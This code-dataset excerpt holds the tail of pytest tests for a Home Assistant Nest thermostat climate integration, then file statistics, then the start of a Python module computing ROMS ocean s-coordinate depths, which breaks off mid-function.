"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "MANUAL_ECO",
"heatCelsius": 15.0,
"coolCelsius": 28.0,
},
},
},
},
auth=auth,
)
await subscriber.async_receive_event(event)
await hass.async_block_till_done() # Process dispatch/update signal
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_OFF
assert thermostat.attributes[ATTR_PRESET_MODE] == PRESET_ECO
# Turn off eco mode
await common.async_set_preset_mode(hass, PRESET_NONE)
await hass.async_block_till_done()
assert auth.method == "post"
assert auth.url == "some-device-id:executeCommand"
assert auth.json == {
"command": "sdm.devices.commands.ThermostatEco.SetMode",
"params": {"mode": "OFF"},
}
async def test_thermostat_set_cool(hass, auth):
"""Test a thermostat in cool mode with a temperature change."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "COOL",
},
"sdm.devices.traits.ThermostatTemperatureSetpoint": {
"coolCelsius": 25.0,
},
},
auth=auth,
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_COOL
await common.async_set_temperature(hass, temperature=24.0)
await hass.async_block_till_done()
assert auth.method == "post"
assert auth.url == "some-device-id:executeCommand"
assert auth.json == {
"command": "sdm.devices.commands.ThermostatTemperatureSetpoint.SetCool",
"params": {"coolCelsius": 24.0},
}
async def test_thermostat_set_heat(hass, auth):
"""Test a thermostat heating mode with a temperature change."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "HEAT",
},
"sdm.devices.traits.ThermostatTemperatureSetpoint": {
"heatCelsius": 19.0,
},
},
auth=auth,
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT
await common.async_set_temperature(hass, temperature=20.0)
await hass.async_block_till_done()
assert auth.method == "post"
assert auth.url == "some-device-id:executeCommand"
assert auth.json == {
"command": "sdm.devices.commands.ThermostatTemperatureSetpoint.SetHeat",
"params": {"heatCelsius": 20.0},
}
async def test_thermostat_set_heat_cool(hass, auth):
"""Test a thermostat in heatcool mode with a temperature change."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "HEATCOOL",
},
"sdm.devices.traits.ThermostatTemperatureSetpoint": {
"heatCelsius": 19.0,
"coolCelsius": 25.0,
},
},
auth=auth,
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT_COOL
await common.async_set_temperature(
hass, target_temp_low=20.0, target_temp_high=24.0
)
await hass.async_block_till_done()
assert auth.method == "post"
assert auth.url == "some-device-id:executeCommand"
assert auth.json == {
"command": "sdm.devices.commands.ThermostatTemperatureSetpoint.SetRange",
"params": {"heatCelsius": 20.0, "coolCelsius": 24.0},
}
async def test_thermostat_fan_off(hass):
"""Test a thermostat with the fan not running."""
await setup_climate(
hass,
{
"sdm.devices.traits.Fan": {
"timerMode": "OFF",
"timerTimeout": "2019-05-10T03:22:54Z",
},
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "OFF",
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 16.2,
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_OFF
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] == 16.2
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_FAN_ONLY,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_FAN_MODE] == FAN_OFF
assert thermostat.attributes[ATTR_FAN_MODES] == [FAN_ON, FAN_OFF]
async def test_thermostat_fan_on(hass):
"""Test a thermostat with the fan running."""
await setup_climate(
hass,
{
"sdm.devices.traits.Fan": {
"timerMode": "ON",
"timerTimeout": "2019-05-10T03:22:54Z",
},
"sdm.devices.traits.ThermostatHvac": {
"status": "OFF",
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "OFF",
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 16.2,
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_FAN_ONLY
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_IDLE
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] == 16.2
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_FAN_ONLY,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_FAN_MODE] == FAN_ON
assert thermostat.attributes[ATTR_FAN_MODES] == [FAN_ON, FAN_OFF]
async def test_thermostat_cool_with_fan(hass):
"""Test a thermostat cooling while the fan is on."""
await setup_climate(
hass,
{
"sdm.devices.traits.Fan": {
"timerMode": "ON",
"timerTimeout": "2019-05-10T03:22:54Z",
},
"sdm.devices.traits.ThermostatHvac": {
"status": "OFF",
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "COOL",
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_COOL
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_IDLE
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_FAN_ONLY,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_FAN_MODE] == FAN_ON
assert thermostat.attributes[ATTR_FAN_MODES] == [FAN_ON, FAN_OFF]
async def test_thermostat_set_fan(hass, auth):
"""Test a thermostat enabling the fan."""
await setup_climate(
hass,
{
"sdm.devices.traits.Fan": {
"timerMode": "ON",
"timerTimeout": "2019-05-10T03:22:54Z",
},
"sdm.devices.traits.ThermostatHvac": {
"status": "OFF",
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "OFF",
},
},
auth=auth,
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_FAN_ONLY
assert thermostat.attributes[ATTR_FAN_MODE] == FAN_ON
assert thermostat.attributes[ATTR_FAN_MODES] == [FAN_ON, FAN_OFF]
# Turn off fan mode
await common.async_set_fan_mode(hass, FAN_OFF)
await hass.async_block_till_done()
assert auth.method == "post"
assert auth.url == "some-device-id:executeCommand"
assert auth.json == {
"command": "sdm.devices.commands.Fan.SetTimer",
"params": {"timerMode": "OFF"},
}
# Turn on fan mode
await common.async_set_fan_mode(hass, FAN_ON)
await hass.async_block_till_done()
assert auth.method == "post"
assert auth.url == "some-device-id:executeCommand"
assert auth.json == {
"command": "sdm.devices.commands.Fan.SetTimer",
"params": {
"duration": "43200s",
"timerMode": "ON",
},
}
async def test_thermostat_fan_empty(hass):
"""Test a fan trait with an empty response."""
await setup_climate(
hass,
{
"sdm.devices.traits.Fan": {},
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "OFF",
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 16.2,
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_OFF
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] == 16.2
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_OFF,
}
assert ATTR_FAN_MODE not in thermostat.attributes
assert ATTR_FAN_MODES not in thermostat.attributes
# Ignores set_fan_mode since it is lacking SUPPORT_FAN_MODE
await common.async_set_fan_mode(hass, FAN_ON)
await hass.async_block_till_done()
assert ATTR_FAN_MODE not in thermostat.attributes
assert ATTR_FAN_MODES not in thermostat.attributes
async def test_thermostat_invalid_fan_mode(hass):
"""Test setting a fan mode that is not supported."""
await setup_climate(
hass,
{
"sdm.devices.traits.Fan": {
"timerMode": "ON",
"timerTimeout": "2019-05-10T03:22:54Z",
},
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "OFF",
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 16.2,
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_FAN_ONLY
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_IDLE
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] == 16.2
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_FAN_ONLY,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_FAN_MODE] == FAN_ON
assert thermostat.attributes[ATTR_FAN_MODES] == [FAN_ON, FAN_OFF]
with pytest.raises(ValueError):
await common.async_set_fan_mode(hass, FAN_LOW)
await hass.async_block_till_done()
async def test_thermostat_set_hvac_fan_only(hass, auth):
"""Test a thermostat enabling the fan via hvac_mode."""
await setup_climate(
hass,
{
"sdm.devices.traits.Fan": {
"timerMode": "OFF",
"timerTimeout": "2019-05-10T03:22:54Z",
},
"sdm.devices.traits.ThermostatHvac": {
"status": "OFF",
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "OFF",
},
},
auth=auth,
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_FAN_MODE] == FAN_OFF
assert thermostat.attributes[ATTR_FAN_MODES] == [FAN_ON, FAN_OFF]
await common.async_set_hvac_mode(hass, HVAC_MODE_FAN_ONLY)
await hass.async_block_till_done()
assert len(auth.captured_requests) == 2
(method, url, json, headers) = auth.captured_requests.pop(0)
assert method == "post"
assert url == "some-device-id:executeCommand"
assert json == {
"command": "sdm.devices.commands.Fan.SetTimer",
"params": {"duration": "43200s", "timerMode": "ON"},
}
(method, url, json, headers) = auth.captured_requests.pop(0)
assert method == "post"
assert url == "some-device-id:executeCommand"
assert json == {
"command": "sdm.devices.commands.ThermostatMode.SetMode",
"params": {"mode": "OFF"},
}
async def test_thermostat_target_temp(hass, auth):
"""Test a thermostat changing hvac modes and affected on target temps."""
subscriber = await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {
"status": "HEATING",
},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "HEAT",
},
"sdm.devices.traits.Temperature": {
"ambientTemperatureCelsius": 20.1,
},
"sdm.devices.traits.ThermostatTemperatureSetpoint": {
"heatCelsius": 23.0,
},
},
auth=auth,
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT
assert thermostat.attributes[ATTR_TEMPERATURE] == 23.0
assert thermostat.attributes[ATTR_TARGET_TEMP_LOW] is None
assert thermostat.attributes[ATTR_TARGET_TEMP_HIGH] is None
# Simulate pubsub message changing modes
event = EventMessage(
{
"eventId": "some-event-id",
"timestamp": "2019-01-01T00:00:01Z",
"resourceUpdate": {
"name": "some-device-id",
"traits": {
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "HEATCOOL",
},
"sdm.devices.traits.ThermostatTemperatureSetpoint": {
"heatCelsius": 22.0,
"coolCelsius": 28.0,
},
},
},
},
auth=None,
)
await subscriber.async_receive_event(event)
await hass.async_block_till_done() # Process dispatch/update signal
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT_COOL
assert thermostat.attributes[ATTR_TARGET_TEMP_LOW] == 22.0
assert thermostat.attributes[ATTR_TARGET_TEMP_HIGH] == 28.0
assert thermostat.attributes[ATTR_TEMPERATURE] is None
async def test_thermostat_missing_mode_traits(hass):
"""Test a thermostat missing many thermostat traits in api response."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_OFF
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] is None
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == set()
assert ATTR_TEMPERATURE not in thermostat.attributes
assert ATTR_TARGET_TEMP_LOW not in thermostat.attributes
assert ATTR_TARGET_TEMP_HIGH not in thermostat.attributes
assert ATTR_PRESET_MODE not in thermostat.attributes
assert ATTR_PRESET_MODES not in thermostat.attributes
assert ATTR_FAN_MODE not in thermostat.attributes
assert ATTR_FAN_MODES not in thermostat.attributes
await common.async_set_temperature(hass, temperature=24.0)
await hass.async_block_till_done()
assert ATTR_TEMPERATURE not in thermostat.attributes
await common.async_set_preset_mode(hass, PRESET_ECO)
await hass.async_block_till_done()
assert ATTR_PRESET_MODE not in thermostat.attributes
async def test_thermostat_missing_temperature_trait(hass):
"""Test a thermostat missing many thermostat traits in api response."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "HEAT",
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_IDLE
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] is None
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_TEMPERATURE] is None
assert thermostat.attributes[ATTR_TARGET_TEMP_LOW] is None
assert thermostat.attributes[ATTR_TARGET_TEMP_HIGH] is None
assert ATTR_PRESET_MODE not in thermostat.attributes
assert ATTR_PRESET_MODES not in thermostat.attributes
assert ATTR_FAN_MODE not in thermostat.attributes
assert ATTR_FAN_MODES not in thermostat.attributes
await common.async_set_temperature(hass, temperature=24.0)
await hass.async_block_till_done()
assert thermostat.attributes[ATTR_TEMPERATURE] is None
async def test_thermostat_unexpected_hvac_status(hass):
"""Test a thermostat missing many thermostat traits in api response."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "UNEXPECTED"},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert ATTR_HVAC_ACTION not in thermostat.attributes
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] is None
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == set()
assert ATTR_TEMPERATURE not in thermostat.attributes
assert ATTR_TARGET_TEMP_LOW not in thermostat.attributes
assert ATTR_TARGET_TEMP_HIGH not in thermostat.attributes
assert ATTR_PRESET_MODE not in thermostat.attributes
assert ATTR_PRESET_MODES not in thermostat.attributes
assert ATTR_FAN_MODE not in thermostat.attributes
assert ATTR_FAN_MODES not in thermostat.attributes
with pytest.raises(ValueError):
await common.async_set_hvac_mode(hass, HVAC_MODE_DRY)
await hass.async_block_till_done()
assert thermostat.state == HVAC_MODE_OFF
async def test_thermostat_missing_set_point(hass):
"""Test a thermostat missing many thermostat traits in api response."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF"],
"mode": "HEATCOOL",
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_HEAT_COOL
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_IDLE
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] is None
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_TEMPERATURE] is None
assert thermostat.attributes[ATTR_TARGET_TEMP_LOW] is None
assert thermostat.attributes[ATTR_TARGET_TEMP_HIGH] is None
assert ATTR_PRESET_MODE not in thermostat.attributes
assert ATTR_PRESET_MODES not in thermostat.attributes
assert ATTR_FAN_MODE not in thermostat.attributes
assert ATTR_FAN_MODES not in thermostat.attributes
async def test_thermostat_unexepected_hvac_mode(hass):
"""Test a thermostat missing many thermostat traits in api response."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatMode": {
"availableModes": ["HEAT", "COOL", "HEATCOOL", "OFF", "UNEXPECTED"],
"mode": "UNEXPECTED",
},
},
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_HVAC_ACTION] == CURRENT_HVAC_OFF
assert thermostat.attributes[ATTR_CURRENT_TEMPERATURE] is None
assert set(thermostat.attributes[ATTR_HVAC_MODES]) == {
HVAC_MODE_HEAT,
HVAC_MODE_COOL,
HVAC_MODE_HEAT_COOL,
HVAC_MODE_OFF,
}
assert thermostat.attributes[ATTR_TEMPERATURE] is None
assert thermostat.attributes[ATTR_TARGET_TEMP_LOW] is None
assert thermostat.attributes[ATTR_TARGET_TEMP_HIGH] is None
assert ATTR_PRESET_MODE not in thermostat.attributes
assert ATTR_PRESET_MODES not in thermostat.attributes
assert ATTR_FAN_MODE not in thermostat.attributes
assert ATTR_FAN_MODES not in thermostat.attributes
async def test_thermostat_invalid_set_preset_mode(hass, auth):
"""Test a thermostat set with an invalid preset mode."""
await setup_climate(
hass,
{
"sdm.devices.traits.ThermostatHvac": {"status": "OFF"},
"sdm.devices.traits.ThermostatEco": {
"availableModes": ["MANUAL_ECO", "OFF"],
"mode": "OFF",
"heatCelsius": 15.0,
"coolCelsius": 28.0,
},
},
auth=auth,
)
assert len(hass.states.async_all()) == 1
thermostat = hass.states.get("climate.my_thermostat")
assert thermostat is not None
assert thermostat.state == HVAC_MODE_OFF
assert thermostat.attributes[ATTR_PRESET_MODE] == PRESET_NONE
assert thermostat.attributes[ATTR_PRESET_MODES] == [PRESET_ECO, PRESET_NONE]
# Set preset mode that is invalid
with pytest.raises(ValueError):
await common.async_set_preset_mode(hass, PRESET_SLEEP)
await hass.async_block_till_done()
# No RPC sent
assert auth.method is None
# Preset is unchanged
assert thermostat.attributes[ATTR_PRESET_MODE] == PRESET_NONE
assert thermostat.attributes[ATTR_PRESET_MODES] == [PRESET_ECO, PRESET_NONE]
| 35.315747
| 84
| 0.624606
| 4,751
| 43,509
| 5.499474
| 0.04357
| 0.102878
| 0.107471
| 0.114819
| 0.929616
| 0.912699
| 0.901255
| 0.877564
| 0.855366
| 0.847405
| 0
| 0.012468
| 0.266336
| 43,509
| 1,231
| 85
| 35.344435
| 0.806052
| 0.017652
| 0
| 0.701336
| 0
| 0
| 0.187699
| 0.117364
| 0
| 0
| 0
| 0
| 0.278626
| 1
| 0
| false
| 0
| 0.006679
| 0
| 0.007634
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8a92427a1301fa50fbb4b53e3c0c371ba5ad8df4
| 11,421
|
py
|
Python
|
VolumeFlux/vgrid.py
|
jvmcgovern/romstools_MI
|
57c70c2f630a190fd23ac15ed2ce1b2fae949660
|
[
"MIT"
] | 18
|
2015-03-02T14:27:00.000Z
|
2021-12-16T05:53:08.000Z
|
VolumeFlux/vgrid.py
|
jvmcgovern/romstools_MI
|
57c70c2f630a190fd23ac15ed2ce1b2fae949660
|
[
"MIT"
] | 2
|
2016-08-08T12:21:45.000Z
|
2021-02-03T22:40:52.000Z
|
VolumeFlux/vgrid.py
|
jvmcgovern/romstools_MI
|
57c70c2f630a190fd23ac15ed2ce1b2fae949660
|
[
"MIT"
] | 15
|
2015-10-05T15:36:28.000Z
|
2022-01-28T16:46:54.000Z
|
# encoding: utf-8
'''
Various vertical coordinates
Presently, only ocean s-coordinates are supported. Future plans will be to
include all of the vertical coordinate systems defined by the CF conventions.
'''
__docformat__ = "restructuredtext en"
import numpy as np
import warnings
class s_coordinate(object):
"""
Song and Haidvogel (1994) vertical coordinate transformation (Vtransform=1) and
stretching functions (Vstretching=1).
return an object that can be indexed to return depths
s = s_coordinate(h, theta_b, theta_s, Tcline, N)
"""
def __init__(self, h, theta_b, theta_s, Tcline, N, hraw=None, zeta=None):
self.hraw = hraw
self.h = np.asarray(h)
self.hmin = h.min()
self.theta_b = theta_b
self.theta_s = theta_s
self.Tcline = Tcline
self.N = int(N)
self.Np = self.N+1
self.hc = min(self.hmin, self.Tcline)
self.Vtrans = 1
if (self.Tcline > self.hmin):
warnings.warn('Vertical transformation parameters are not defined correctly in either gridid.txt or in the history files: \n Tcline = %d and hmin = %d. \n You need to make sure that Tcline <= hmin when using transformation 1.' %(self.Tcline,self.hmin))
self.c1 = 1.0
self.c2 = 2.0
self.p5 = 0.5
if zeta is None:
self.zeta = np.zeros(h.shape)
else:
self.zeta = zeta
self._get_s_rho()
self._get_s_w()
self._get_Cs_r()
self._get_Cs_w()
self.z_r = z_r(self.h, self.hc, self.N, self.s_rho, self.Cs_r, self.zeta, self.Vtrans)
self.z_w = z_w(self.h, self.hc, self.Np, self.s_w, self.Cs_w, self.zeta, self.Vtrans)
def _get_s_rho(self):
lev = np.arange(1,self.N+1,1)
ds = 1.0 / self.N
self.s_rho = -self.c1 + (lev - self.p5) * ds
def _get_s_w(self):
lev = np.arange(0,self.Np,1)
ds = 1.0 / (self.Np-1)
self.s_w = -self.c1 + lev * ds
def _get_Cs_r(self):
if (self.theta_s >= 0):
Ptheta = np.sinh(self.theta_s * self.s_rho) / np.sinh(self.theta_s)
Rtheta = np.tanh(self.theta_s * (self.s_rho + self.p5)) / \
(self.c2 * np.tanh(self.p5 * self.theta_s)) - self.p5
self.Cs_r = (self.c1 - self.theta_b) * Ptheta + self.theta_b * Rtheta
else:
self.Cs_r = self.s_rho
def _get_Cs_w(self):
if (self.theta_s >= 0):
Ptheta = np.sinh(self.theta_s * self.s_w) / np.sinh(self.theta_s)
Rtheta = np.tanh(self.theta_s * (self.s_w + self.p5)) / \
(self.c2 * np.tanh(self.p5 * self.theta_s)) - self.p5
self.Cs_w = (self.c1 - self.theta_b) * Ptheta + self.theta_b * Rtheta
else:
self.Cs_w = self.s_w
class s_coordinate_2(s_coordinate):
"""
A. Shchepetkin (2005) UCLA-ROMS vertical coordinate transformation (Vtransform=2) and
stretching functions (Vstretching=2).
return an object that can be indexed to return depths
s = s_coordinate_2(h, theta_b, theta_s, Tcline, N)
"""
def __init__(self, h, theta_b, theta_s, Tcline, N, hraw=None, zeta=None):
self.hraw = hraw
self.h = np.asarray(h)
self.hmin = h.min()
self.theta_b = theta_b
self.theta_s = theta_s
self.Tcline = Tcline
self.N = int(N)
self.Np = self.N+1
self.hc = self.Tcline
self.Vtrans = 2
self.Aweight = 1.0
self.Bweight = 1.0
self.c1 = 1.0
self.c2 = 2.0
self.p5 = 0.5
if zeta is None:
self.zeta = np.zeros(h.shape)
else:
self.zeta = zeta
self._get_s_rho()
self._get_s_w()
self._get_Cs_r()
self._get_Cs_w()
self.z_r = z_r(self.h, self.hc, self.N, self.s_rho, self.Cs_r, self.zeta, self.Vtrans)
self.z_w = z_w(self.h, self.hc, self.Np, self.s_w, self.Cs_w, self.zeta, self.Vtrans)
def _get_s_rho(self):
super(s_coordinate_2, self)._get_s_rho()
def _get_s_w(self):
super(s_coordinate_2, self)._get_s_w()
def _get_Cs_r(self):
if (self.theta_s >= 0):
Csur = (self.c1 - np.cosh(self.theta_s * self.s_rho)) / \
(np.cosh(self.theta_s) - self.c1)
if (self.theta_b >= 0):
Cbot = np.sinh(self.theta_b * (self.s_rho + self.c1)) / \
np.sinh(self.theta_b) - self.c1
Cweight = (self.s_rho + self.c1)**self.Aweight * \
(self.c1 + (self.Aweight / self.Bweight) * \
(self.c1 - (self.s_rho + self.c1)**self.Bweight))
self.Cs_r = Cweight * Csur + (self.c1 - Cweight) * Cbot
else:
self.Cs_r = Csur
else:
self.Cs_r = self.s_rho
def _get_Cs_w(self):
if (self.theta_s >= 0):
Csur = (self.c1 - np.cosh(self.theta_s * self.s_w)) / \
(np.cosh(self.theta_s) - self.c1)
if (self.theta_b >= 0):
Cbot = np.sinh(self.theta_b * (self.s_w + self.c1)) / \
np.sinh(self.theta_b) - self.c1
Cweight = (self.s_w + self.c1)**self.Aweight * \
(self.c1 + (self.Aweight / self.Bweight) * \
(self.c1 - (self.s_w + self.c1)**self.Bweight))
self.Cs_w = Cweight * Csur + (self.c1 - Cweight) * Cbot
else:
self.Cs_w = Csur
else:
self.Cs_w = self.s_w
class s_coordinate_4(s_coordinate):
"""
A. Shchepetkin (2005) UCLA-ROMS vertical coordinate transformation (Vtransform=2) and
stretching functions (Vstretching=4).
return an object that can be indexed to return depths
s = s_coordinate_4(h, theta_b, theta_s, Tcline, N)
"""
def __init__(self, h, theta_b, theta_s, Tcline, N, hraw=None, zeta=None):
self.hraw = hraw
self.h = np.asarray(h)
self.hmin = h.min()
self.theta_b = theta_b
self.theta_s = theta_s
self.Tcline = Tcline
self.N = int(N)
self.Np = self.N+1
self.hc = self.Tcline
self.Vtrans = 4
self.c1 = 1.0
self.c2 = 2.0
self.p5 = 0.5
if zeta is None:
self.zeta = np.zeros(h.shape)
else:
self.zeta = zeta
self._get_s_rho()
self._get_s_w()
self._get_Cs_r()
self._get_Cs_w()
self.z_r = z_r(self.h, self.hc, self.N, self.s_rho, self.Cs_r, self.zeta, self.Vtrans)
self.z_w = z_w(self.h, self.hc, self.Np, self.s_w, self.Cs_w, self.zeta, self.Vtrans)
def _get_s_rho(self):
super(s_coordinate_4, self)._get_s_rho()
def _get_s_w(self):
super(s_coordinate_4, self)._get_s_w()
def _get_Cs_r(self):
if (self.theta_s > 0):
Csur = (self.c1 - np.cosh(self.theta_s * self.s_rho)) / \
(np.cosh(self.theta_s) - self.c1)
else:
Csur = -self.s_rho**2
if (self.theta_b > 0):
Cbot = (np.exp(self.theta_b * Csur) - self.c1 ) / \
(self.c1 - np.exp(-self.theta_b))
self.Cs_r = Cbot
else:
self.Cs_r = Csur
def _get_Cs_w(self):
if (self.theta_s > 0):
Csur = (self.c1 - np.cosh(self.theta_s * self.s_w)) / \
(np.cosh(self.theta_s) - self.c1)
else:
Csur = -self.s_w**2
if (self.theta_b > 0):
Cbot = (np.exp(self.theta_b * Csur) - self.c1 ) / \
( self.c1 - np.exp(-self.theta_b) )
self.Cs_w = Cbot
else:
self.Cs_w = Csur
class z_r(object):
"""
return an object that can be indexed to return depths of rho point
z_r = z_r(h, hc, N, s_rho, Cs_r, zeta, Vtrans)
"""
def __init__(self, h, hc, N, s_rho, Cs_r, zeta, Vtrans):
self.h = h
self.hc = hc
self.N = N
self.s_rho = s_rho
self.Cs_r = Cs_r
self.zeta = zeta
self.Vtrans = Vtrans
def __getitem__(self, key):
if isinstance(key, tuple) and len(self.zeta.shape) > len(self.h.shape):
zeta = self.zeta[key[0]]
res_index = (slice(None),) + key[1:]
elif len(self.zeta.shape) > len(self.h.shape):
zeta = self.zeta[key]
res_index = slice(None)
else:
zeta = self.zeta
res_index = key
if self.h.ndim == zeta.ndim: # Assure a time-dimension exists
zeta = zeta[np.newaxis, :]
